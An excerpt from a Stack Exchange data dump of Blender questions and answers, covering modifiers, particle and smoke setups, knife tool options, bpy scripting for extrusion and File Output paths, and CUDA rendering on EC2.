  <row Id="5267" PostTypeId="1" CreationDate="2013-12-03T23:14:52.707" Score="3" ViewCount="1674" Body="&lt;p&gt;I am wondering how to make a cube squish like a sphere on the Z axis. It will be an animated cube, so it needs to squish like a real sphere. &lt;/p&gt;&#xA;" OwnerUserId="1664" LastEditorUserId="12" LastEditDate="2013-12-03T23:55:04.287" LastActivityDate="2013-12-03T23:55:04.287" Title="How can I flatten a cube on the Z axis and make the sides protrude outwards?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5268" PostTypeId="2" ParentId="5259" CreationDate="2013-12-03T23:36:35.390" Score="2" Body="&lt;h1&gt;Particles:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;For the fluid being blown by a fan/turbine, you could try a particle system.&#xA;For a really thin fluid/mist, simulating it as a bunch of spheres is probably overkill. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you could try using textured planes (or &lt;em&gt;Billboards&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a emitter plane and rotate it &lt;code&gt;90&lt;/code&gt; so it is standing on its edge:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/meOPN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Particle system&lt;/em&gt; to the emitter plane in &lt;em&gt;Properties &gt; Particles&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Blender Internal:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For BI you can use &lt;em&gt;Billboard&lt;/em&gt; particles (these don't work in cycles):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/br8bD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cycles:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For cycles you will need to use a slightly different technique to render billboard objects:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the particles to use an object for rendering in &lt;em&gt;Particles &gt; Render &gt; Object&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add another plane and add a &lt;em&gt;Track To&lt;/em&gt; constraint to make it track to the camera (Select the plane and then the camera, then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;&lt;em&gt;&gt; Track To constraint&lt;/em&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xztsN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;To&lt;/em&gt; and &lt;em&gt;Up&lt;/em&gt; settings of the constraint in (with the plane active) &lt;em&gt;Properties &gt; Constraints&lt;/em&gt; so that the plane faces the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/B9wiH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the emitter plane active, set the &lt;em&gt;Dupli Object&lt;/em&gt; to the plane with the constraint and enable &lt;em&gt;Rotation&lt;/em&gt; so that the particles will use the rotation defined by the constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x3gkP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Lower the influence of the scene gravity in &lt;em&gt;Particles &gt; Field Weights &gt; Gravity&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/A4Btz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Wind&lt;/em&gt; force field (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Add &gt; Force field &gt; Wind&lt;/em&gt;) and rotate it 90 degrees so it is parallel to the emitter plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/83snn.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may want to tweak the &lt;em&gt;strength&lt;/em&gt; in &lt;em&gt;Properties &gt; Physics&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Vortex&lt;/em&gt; force field and rotate it &lt;code&gt;90&lt;/code&gt; like the wind force:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/02gqp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Smoke:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If the fluid is &lt;em&gt;really&lt;/em&gt; thin, you may want to try a &lt;em&gt;Smoke Simulation&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that until Cycles has volumetrics (planned for 2.7) you will not be able to render the smoke in Cycles.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-03T23:50:17.273" LastActivityDate="2013-12-03T23:50:17.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5269" PostTypeId="2" ParentId="5242" CreationDate="2013-12-03T23:38:44.707" Score="2" Body="&lt;p&gt;This simple script gets the angle from the up axis to the cameras view-axis.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector &#xA;&#xA;camera = bpy.data.objects[&quot;Camera&quot;]&#xA;z_up = Vector((0.0, 0.0, 1.0))&#xA;z_camera  = z_up * camera.matrix_world.to_3x3()&#xA;angle = z_camera.angle(z_up)&#xA;&#xA;is_up = angle &amp;lt; math.degrees(90.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;matrix_world&lt;/code&gt; and &lt;strong&gt;not&lt;/strong&gt; &lt;code&gt;rotation_euler&lt;/code&gt;, this is important since &lt;code&gt;rotation_euler&lt;/code&gt; is the rotation input from fcurves and drivers, and not the final transformation of the object with constraints and parents.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-12-05T04:16:10.230" LastActivityDate="2013-12-05T04:16:10.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5270" PostTypeId="2" ParentId="5267" CreationDate="2013-12-03T23:49:54.663" Score="3" Body="&lt;p&gt;You can quickly achieve this with a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Simple_Deform&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Simple Deform&lt;/em&gt;&lt;/a&gt; modifier set to &lt;em&gt;Stretch&lt;/em&gt; and using a negative &lt;em&gt;Deform&lt;/em&gt; factor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ebQxW.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-03T23:49:54.663" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5271" PostTypeId="1" CreationDate="2013-12-04T02:11:01.833" Score="10" ViewCount="5260" Body="&lt;p&gt;I'm using Blender 2.66,  I find that the knife tool (&lt;kbd&gt;K&lt;/kbd&gt;) doesn't work the way it used to.  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Dragging across an obscured edge, even if selected, doesn't cut it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There seems to be no way to activate the option to do a midpoint cut or multiple cuts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="2217" LastEditDate="2015-06-01T23:28:36.483" LastActivityDate="2015-07-29T13:09:22.763" Title="Knife tool doesn't cut obscured edges" Tags="&lt;knife-tool&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5272" PostTypeId="2" ParentId="5271" CreationDate="2013-12-04T02:21:20.947" Score="4" Body="&lt;p&gt;You must enable the &lt;em&gt;Cut through&lt;/em&gt; option to cut obscured edges.&lt;/p&gt;&#xA;&lt;p&gt;The options are listed in &lt;em&gt;3D view &amp;gt; Header&lt;/em&gt; when the knife tool is active:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RYoa7.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RYoa7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The options are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;RMB&lt;/kbd&gt; to define cuts&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Space&lt;/kbd&gt; or &lt;kbd&gt;Enter&lt;/kbd&gt; to accept cuts&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Esc&lt;/kbd&gt; or &lt;kbd&gt;RMB&lt;/kbd&gt; to cancel&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;E&lt;/kbd&gt; to start a new cut:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Begins a new cut. This allows you to define multiple distinct cut lines. If multiple cuts have been defined, they are recognized as new snapping points.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold &lt;kbd&gt;Ctrl&lt;/kbd&gt; to snap to midpoint:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Hold to snap the cursor to the midpoint of edge&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hold &lt;kbd&gt;Shift&lt;/kbd&gt; to ignore snapping&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;C&lt;/kbd&gt; to toggle angle constrain&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Z&lt;/kbd&gt; to toggle cut through (this is the one you want):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Allow the cut tool to cut through to obscured faces, instead of only the visible ones.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;See the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide#Options&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; for more information.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-07-29T13:09:22.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5273" PostTypeId="2" ParentId="5271" CreationDate="2013-12-04T02:23:24.120" Score="9" Body="&lt;p&gt;Knife will cut through obscuring faces, if &lt;kbd&gt;Z&lt;/kbd&gt; is pressed while cutting, either on solid or wireframe mode. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Midpoint snap can be activated by pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; while cutting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further options are displayed on the 3D View area's header, while Knife tool is active.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-12-04T02:23:24.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5274" PostTypeId="1" AcceptedAnswerId="5278" CreationDate="2013-12-04T02:52:50.840" Score="7" ViewCount="887" Body="&lt;p&gt;When you do an alt+e and select individual faces for extrusion in the Blender GUI, you can then either move your mouse around to move the extrusion up or down a path defined by the orientation of the normal of the source face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, I can hit alt+e, select individual faces and then on the number pad proceed to type in the exact value by which I would like the face to be extruded down this path, pressing RETURN to apply the transformation. I can then tap &quot;s&quot; and type a value by which I would like to scale the extruded face by a value I can type in, then again press RETURN to apply the transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now being a total blender python API/python noob, I'm wondering how I can accomplish this same result purely in python. I've already got a script that will iterate over all objects in my scene, select the face I would like extruded.... but now I need to know how I can extrude that individual face along the path of the normal (just like it would in the GUI) and of course scale it after, just as described above. Any help pointing me in the right direction would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user1745" LastActivityDate="2013-12-04T03:59:41.627" Title="Simulate Individual Face Extrusion Via User Input In Python" Tags="&lt;mesh&gt;&lt;python&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5276" PostTypeId="1" CreationDate="2013-12-04T03:37:28.750" Score="4" ViewCount="564" Body="&lt;p&gt;I'm following a tutorial in which a Bezier curve is supposed to represent a vine. The vine is a collection of control points with their bevel depth and bevel resolution set appropriately:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jYIwV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the vine in the tutorial's included .blend file displays its wireframe over the typical solid viewport shading:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/slPld.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both .blend files, Object Mode is selected. How do I get my .blend file to display a wireframed Bezier curve?&lt;/p&gt;&#xA;" OwnerUserId="1746" LastEditorUserId="12" LastEditDate="2013-12-04T04:03:41.587" LastActivityDate="2013-12-04T04:03:41.587" Title="Displaying the wireframe of a beveled Bezier curve" Tags="&lt;3d-view&gt;&lt;wireframe&gt;&lt;drawmodes&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2013-12-04T04:04:10.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="5277" PostTypeId="2" ParentId="5276" CreationDate="2013-12-04T03:37:28.750" Score="3" Body="&lt;p&gt;Thanks to &lt;a href=&quot;https://blender.stackexchange.com/questions/194/how-to-display-the-edges-of-a-mesh-while-in-object-mode&quot;&gt;this answer&lt;/a&gt;, I realized that you need to check the &quot;Wire&quot; checkbox within the Object Properties panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gYlna.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1746" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2013-12-04T03:37:28.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5278" PostTypeId="2" ParentId="5274" CreationDate="2013-12-04T03:48:18.913" Score="4" Body="&lt;p&gt;The referenced question and answer(s) didn't actually apply because I didn't want or need bmesh and a massive script just to do this. I found a 1 liner that does exactly what I wanted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.extrude_faces_move(&#xA;    MESH_OT_extrude_faces_indiv={&quot;mirror&quot;:True}, &#xA;    TRANSFORM_OT_shrink_fatten={&quot;value&quot;:-0.9,&#xA;    &quot;mirror&quot;:False,&#xA;    &quot;proportional&quot;:'DISABLED',&#xA;    &quot;proportional_edit_falloff&quot;:'SMOOTH',&#xA;    &quot;proportional_size&quot;:1,&#xA;    &quot;snap&quot;:False,&#xA;    &quot;snap_target&quot;:'CLOSEST',&#xA;    &quot;snap_point&quot;:(0, 0, 0),&#xA;    &quot;snap_align&quot;:False,&#xA;    &quot;snap_normal&quot;:(0, 0, 0),&#xA;    &quot;release_confirm&quot;:False}) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.extrude_faces_move(MESH_OT_extrude_faces_indiv={&quot;mirror&quot;:True}, TRANSFORM_OT_shrink_fatten={&quot;value&quot;:-0.9, &quot;mirror&quot;:False, &quot;proportional&quot;:'DISABLED', &quot;proportional_edit_falloff&quot;:'SMOOTH', &quot;proportional_size&quot;:1, &quot;snap&quot;:False, &quot;snap_target&quot;:'CLOSEST', &quot;snap_point&quot;:(0, 0, 0), &quot;snap_align&quot;:False, &quot;snap_normal&quot;:(0, 0, 0), &quot;release_confirm&quot;:False})  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;TRANSFORM_OT_shrink_fatten={&quot;value&quot;:-0.9...&lt;/code&gt; is where you would set the value of the extrusion (&lt;code&gt;-0.9&lt;/code&gt; in this case).&lt;/p&gt;&#xA;" OwnerDisplayName="user1745" LastEditorUserId="12" LastEditDate="2013-12-04T03:59:41.627" LastActivityDate="2013-12-04T03:59:41.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5279" PostTypeId="2" ParentId="5200" CreationDate="2013-12-04T04:22:43.443" Score="1" Body="&lt;p&gt;Now it works fine, I didn't change anything, I guess it was some sort of bug. I've had to close the program since the bug occured obviously so I can't provide any sort of example file, if it happens again I'll save it and send it back to you. Anyway thanks for the support!&lt;/p&gt;&#xA;" OwnerUserId="1719" LastActivityDate="2013-12-04T04:22:43.443" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5280" PostTypeId="1" AcceptedAnswerId="5282" CreationDate="2013-12-04T04:25:42.753" Score="7" ViewCount="6724" Body="&lt;p&gt;Two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How to use the name of the currently opened blendfile &lt;strong&gt;automatically&lt;/strong&gt; in the &lt;em&gt;File Path&lt;/em&gt; field of the &lt;em&gt;File Output Node&lt;/em&gt; without entering it manually?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to remove the frame number which is automatically appended at the end of output file (especially for static images)?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1729" LastEditorUserId="12" LastEditDate="2013-12-04T14:59:31.487" LastActivityDate="2019-04-19T06:24:40.113" Title="How to use the current file name as the the output name in the File Output Node and without the frame number at the end?" Tags="&lt;nodes&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5281" PostTypeId="1" AcceptedAnswerId="6952" CreationDate="2013-12-04T05:05:43.720" Score="19" ViewCount="9578" Body="&lt;p&gt;I'm trying to set up some automated render servers on EC2 using their GPU instance type (g2.2xlarge). I'm running blender in the background with a python script that renders the image I want and saves it to the right place in the file system. I'm using Cycles, and blender 2.69 on ubuntu server 12.04.3 (for HVM instances).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt;&#xA;Running the script works fine and the image is successfully (and correctly) rendered and stored on the system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use the GPU though for added speed. I've set the GPU in python like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.system.compute_device_type = 'CUDA'&#xA;bpy.context.user_preferences.system.compute_device = 'CUDA_0'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know this succeeds because if I put dummy data in there (say &quot;GPU&quot; in the first one), it fails at that point and says that it can only be in (&quot;CPU&quot;, &quot;CUDA&quot;). Similar thing for the second option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also know cuda is successfully installed and running, as I have no problems with nvidia-smi and the deviceQuery cuda sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The problem:&lt;/strong&gt;&#xA;When I do run it, and observe the cpu with &lt;code&gt;htop&lt;/code&gt; and the gpu with &lt;code&gt;nvidia-smi -l&lt;/code&gt;, I see all the CPU cores at 100% but nothing in nvidia-smi. I also see no notable difference in time from running it without setting any GPU settings in python. So I'm fairly convinced that it's accepting the settings and then not running the render on the GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Note: I'm newish to blender so perhaps there's another set of settings I need to turn on to get the actual render to happen on the GPU? I'm using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.render.render(write_still=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to render the image, it that helps anyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be much appreciated :) Also if I haven't described something enough, I'm happy to go into more detail on the setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran a separate blend file: &lt;a href=&quot;http://dl.dropbox.com/u/1742071/1m/BMW1M-MikePan.blend&quot; rel=&quot;noreferrer&quot;&gt;http://dl.dropbox.com/u/1742071/1m/BMW1M-MikePan.blend&lt;/a&gt; that I got from &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?239480-2-61-Cycles-render-benchmark&quot; rel=&quot;noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?239480-2-61-Cycles-render-benchmark&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running it with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;bpy.context.user_preferences.system.compute_device_type = 'CUDA'&#xA;bpy.context.user_preferences.system.compute_device = 'CUDA_0'&#xA;&#xA;bpy.ops.render.render(write_still=True)&#xA;img_path = &quot;/mnt/render-output/bmw.jpg&quot;&#xA;rendered_image = bpy.data.images[&quot;Render Result&quot;]&#xA;rendered_image.save_render(filepath=img_path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This does work and successfully renders an image using the GPU (I can see it in nvidia-smi). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is now: What could be wrong in my blend file / script that would make it switch back to cpu rendering? Are there limits on textures/vertices/something that would make it switch back to the CPU with no warning / error messages? Is there a way to run blender such that it'll fail if it can't run it on the GPU?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update 2017-04-16:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cycles CUDA settings (Blender 2.78c) appear to have changed in the API from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.system.compute_device_type = 'CUDA'&#xA;bpy.context.user_preferences.system.compute_device = 'CUDA_0'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.user_preferences.addons['cycles'].preferences.compute_device_type = 'CUDA'&#xA;bpy.context.user_preferences.addons['cycles'].preferences.devices[0].use = True&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1747" LastEditorUserId="38152" LastEditDate="2017-04-16T16:01:29.427" LastActivityDate="2018-12-04T20:23:17.543" Title="Blender sets Compute Device (CUDA) but doesn't use it for actual render (on EC2 GPU Instance)" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;python&gt;&lt;gpu&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="5282" PostTypeId="2" ParentId="5280" CreationDate="2013-12-04T06:31:21.243" Score="10" Body="&lt;p&gt;AFAIK the answer to both is &lt;strong&gt;No&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frame number padding zeros can be configured by adding &lt;code&gt;#&lt;/code&gt; to the filename:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/workflows/command_line.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki page on CLI rendering&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; -o or --render-output &amp;lt;path&amp;gt;&#xA;     Set the render path and file name.&#xA;     Use // at the start of the path to&#xA;         render relative to the blend file.&#xA;     The # characters are replaced by the frame number, and used to define zero padding.&#xA;         ani_##_test.png becomes ani_01_test.png&#xA;         test-######.png becomes test-000001.png&#xA;         When the filename does not contain #, The suffix #### is added to the filename&#xA;     The frame number will be added at the end of the filename.&#xA;         eg: blender -b foobar.blend -o //render_ -F PNG -x 1 -a&#xA;         //render_ becomes //render_####, writing frames as //render_0001.png//&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This works in the GUI too:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dAcFn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the above becomes &lt;code&gt;render01.png&lt;/code&gt;, &lt;code&gt;render02.png&lt;/code&gt; etc.&lt;br&gt;&#xA;A single &lt;code&gt;#&lt;/code&gt; = no padding. (i.e. &lt;code&gt;render1.png&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't think there is a way to completely remove the frame number from the file name through blender, though it's really not hard to remove it later.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;As for the blendfile name in the &lt;em&gt;Base Path&lt;/em&gt;:&lt;br&gt;&#xA;You could write a python script to set the &lt;em&gt;Base Path&lt;/em&gt; of all &lt;em&gt;File Output&lt;/em&gt; nodes to the blendfile name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import os&#xA;&#xA;# Get file name:&#xA;filename = bpy.path.basename(bpy.context.blend_data.filepath)&#xA;&#xA;# Remove .blend extension:&#xA;filename = os.path.splitext(filename)[0]&#xA;&#xA;# set the base path for all file output nodes to filename:&#xA;for scene in bpy.data.scenes:&#xA;    for node in scene.node_tree.nodes:&#xA;        if node.type == 'OUTPUT_FILE':&#xA;            node.base_path = &quot;//&quot; + filename&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2019-04-19T06:24:40.113" LastActivityDate="2019-04-19T06:24:40.113" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5283" PostTypeId="1" AcceptedAnswerId="5284" CreationDate="2013-12-04T07:46:51.350" Score="34" ViewCount="177600" Body="&lt;p&gt;I have added some textures to objects in blender but the textures don't show up until I render the file. it can be difficult to know what the objects look like without rendering it. is there a way to have textures show in the editor even if they are at a lower res?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In editor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IbRCQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendered:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5AgRy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1165" LastEditorUserId="15140" LastEditDate="2016-01-10T00:44:50.307" LastActivityDate="2020-07-24T21:30:00.970" Title="How to show textures in the 3D View editor?" Tags="&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="5284" PostTypeId="2" ParentId="5283" CreationDate="2013-12-04T07:49:02.507" Score="35" Body="&lt;p&gt;Switch to &lt;em&gt;Material&lt;/em&gt; viewport shading by clicking the icon in the top right of the 3D view:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6hLNf.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hLNf.png&quot; alt=&quot;Textured Suzanne with material shading enabled&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you have an image texture, you can also display textures in solid shading mode by switching to &amp;quot;texture&amp;quot; in the shading mode options drop down:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DrD2o.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrD2o.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr 